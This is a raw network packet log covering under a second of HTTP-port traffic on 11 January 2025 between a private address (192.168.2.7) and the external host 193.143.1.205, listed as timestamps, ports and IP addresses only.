Jan 11, 2025 07:11:30.613151073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.613228083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.613231897 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.613244057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.613286972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.613365889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.613472939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.613487959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.613506079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.613517046 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.613549948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.613744020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.613765955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.613780022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.613795042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.613807917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.613837957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.614012957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.614028931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.614043951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.614057064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.614070892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.614101887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.623780966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.623895884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.623909950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.623959064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.624034882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.624073029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.624088049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.624089956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.624105930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.624138117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.648262024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.648324013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.648339987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.648489952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.648492098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.648505926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.648523092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.648551941 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.648685932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.648739100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.648809910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.648825884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.648840904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.648855925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.648869991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.648881912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.648909092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.649135113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.649151087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.649295092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.649310112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.649323940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.649373055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.649525881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.649542093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.649557114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.649570942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.649585962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.649597883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.649605036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.649610996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.649665117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.650037050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.650053024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.650067091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.650082111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.650095940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.650110960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.650125027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.650141954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.650243044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.650635004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.650652885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.650669098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.650684118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.650698900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.650713921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.650729895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.650744915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.650793076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.651367903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.651384115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.651400089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.651415110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.651431084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.651453018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.651469946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.651480913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.651496887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.651511908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.651525974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.651532888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.651541948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.651559114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.651568890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.651597023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.652134895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.652152061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.652160883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.652254105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.652254105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.652287960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.652303934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.652318954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.652374029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.652414083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.652431965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.652447939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.652460098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.652463913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.652481079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.652489901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.652499914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.652514935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.652529955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.652545929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.652549982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.652571917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.652582884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.653249979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.653268099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.653331995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.653337955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.653390884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.653405905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.653438091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.653439999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.653480053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.653532028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.653548956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.653597116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.653697968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.653712988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.653729916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.653743982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.653930902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.653940916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.653947115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.653964043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.654031992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.654133081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.654149055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.654165030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.654180050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.654215097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.654284954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.654300928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.654318094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.654342890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.654470921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.654484987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.654520035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.655664921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.682868958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.682898045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.682910919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.682924986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.682964087 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.683010101 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.683041096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.683088064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.683111906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.683128119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.683168888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.683224916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.683240891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.683254957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.683263063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.683281898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.683299065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.683476925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.700119019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.700155020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.700170040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.700179100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.700216055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.700272083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.700289011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.700303078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.700326920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.700406075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.700450897 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.700462103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.700479031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.700495005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.700525045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.700687885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.700701952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.700717926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.700735092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.700747967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.700845003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.704339981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.704355955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.704371929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.704444885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.704482079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.704498053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.704511881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.704525948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.704549074 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.704581022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.735161066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.735189915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.735204935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.735275984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.735310078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.735336065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.735337019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.735393047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.735443115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.735459089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.735474110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.735503912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.735599995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.735614061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.735630035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.735646009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.735655069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.735661030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.735677958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.735678911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.735706091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.735949993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.735965014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.735980988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.735992908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.735994101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736026049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.736228943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736243963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736258984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736274004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736280918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.736289978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736308098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.736318111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736334085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736337900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.736380100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.736730099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736746073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736759901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736774921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736788988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736788988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.736804962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736815929 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.736819983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736834049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736848116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.736850023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736866951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736881971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.736881971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736901045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736910105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.736918926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.736938953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.737586975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.737602949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.737617016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.737632036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.737643957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.737648010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.737674952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.737678051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.737693071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.737705946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.737708092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.737725019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.737734079 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.737740993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.737757921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.737772942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.737772942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.737790108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.737799883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.737807989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.737839937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.738454103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.738471031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.738486052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.738500118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.738501072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.738516092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.738529921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.738532066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.738549948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.738557100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.738565922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.738580942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.738595963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.738600969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.738610983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.738630056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.738632917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.738646030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.738656044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.738661051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.738691092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.739191055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.739207983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.739240885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.739255905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.739305973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.739361048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.739377022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.739392996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.739415884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.739617109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.739640951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.739656925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.739665031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.739672899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.739689112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.739697933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.739703894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.739721060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.739728928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.739757061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.740003109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.740017891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.740034103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.740056038 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.740261078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.740277052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.740291119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.740305901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.740307093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.740324974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.740331888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.740366936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.740498066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.740514994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.740556955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.747437000 CET	49699	80	192.168.2.7	193.143.1.205
